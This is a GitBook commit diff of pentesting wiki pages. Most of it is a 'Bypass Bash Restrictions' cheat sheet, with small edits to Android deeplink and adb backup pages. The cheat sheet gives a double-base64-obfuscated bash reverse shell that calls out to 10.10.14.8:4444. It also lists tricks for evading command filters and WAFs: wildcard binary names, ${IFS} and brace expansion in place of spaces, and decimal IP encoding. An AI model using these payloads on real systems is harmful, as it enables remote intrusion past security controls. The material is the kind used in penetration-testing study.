GitBook: [master] 3 pages and 2 assets modified

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@ -1,13 +1,16 @@
# WAF Evasion / Bypass Bash Restrictions # Bypass Bash Restrictions
## Reverse Shell ## Reverse Shell
```sh
```bash
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time # Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g' echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
#echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h #echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
``` ```
## Bypass Paths and forbidden commands ## Bypass Paths and forbidden commands
```sh
```bash
# Question mark binary substitution # Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping /usr/bin/p?ng # /usr/bin/ping
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost
@ -46,7 +49,8 @@ whoa # This will throw an error
``` ```
## Bypass forbidden spaces ## Bypass forbidden spaces
```sh
```bash
# {form} # {form}
{cat,lol.txt} # cat lol.txt {cat,lol.txt} # cat lol.txt
{echo,test} # echo test {echo,test} # echo test
@ -77,16 +81,19 @@ uname!-1\-a # This equals to uname -a
``` ```
## Bypass IPs ## Bypass IPs
```sh
```bash
# Decimal IPs # Decimal IPs
127.0.0.1 == 2130706433 127.0.0.1 == 2130706433
``` ```
## References & More ## References & More
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits" %}
{% embed url="https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet" %} {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection\#exploits" caption="" %}
{% embed url="https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0" %} {% embed url="https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet" caption="" %}
{% embed url="https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0" caption="" %}
{% embed url="https://www.secjuice.com/web-application-firewall-waf-evasion/" caption="" %}
{% embed url="https://www.secjuice.com/web-application-firewall-waf-evasion/" %}

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@ -97,7 +97,7 @@ In this case you could try to abuse the functionality creating a web with the fo
In order to find the **code that will be executed in the App**, go to the activity called by the deeplink and search the function **`onNewIntent`**. In order to find the **code that will be executed in the App**, go to the activity called by the deeplink and search the function **`onNewIntent`**.
![](../../.gitbook/assets/image%20%28436%29.png) ![](../../.gitbook/assets/image%20%28436%29%20%281%29.png)
Learn how to [call deep links without using HTML pages below](./#exploiting-schemes-deep-links). Learn how to [call deep links without using HTML pages below](./#exploiting-schemes-deep-links).
@ -455,7 +455,7 @@ _Note that you can **omit the package name** and the mobile will automatically c
In order to find the **code that will be executed in the App**, go to the activity called by the deeplink and search the function **`onNewIntent`**. In order to find the **code that will be executed in the App**, go to the activity called by the deeplink and search the function **`onNewIntent`**.
![](../../.gitbook/assets/image%20%28435%29.png) ![](../../.gitbook/assets/image%20%28436%29.png)
#### Sensitive info #### Sensitive info

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@ -348,5 +348,9 @@ adb backup [-apk] [-shared] [-system] [-all] -f file.backup
# -shared -- Include removable storage # -shared -- Include removable storage
# -system -- Include system Applciations # -system -- Include system Applciations
# -all -- Include all the applications # -all -- Include all the applications
adb shell pm list packages -f -3 #List packages
adb backup -f myapp.ab -apk com.myapp # backup on one device
adb restore myapp.ab # restore to the same or any other device
``` ```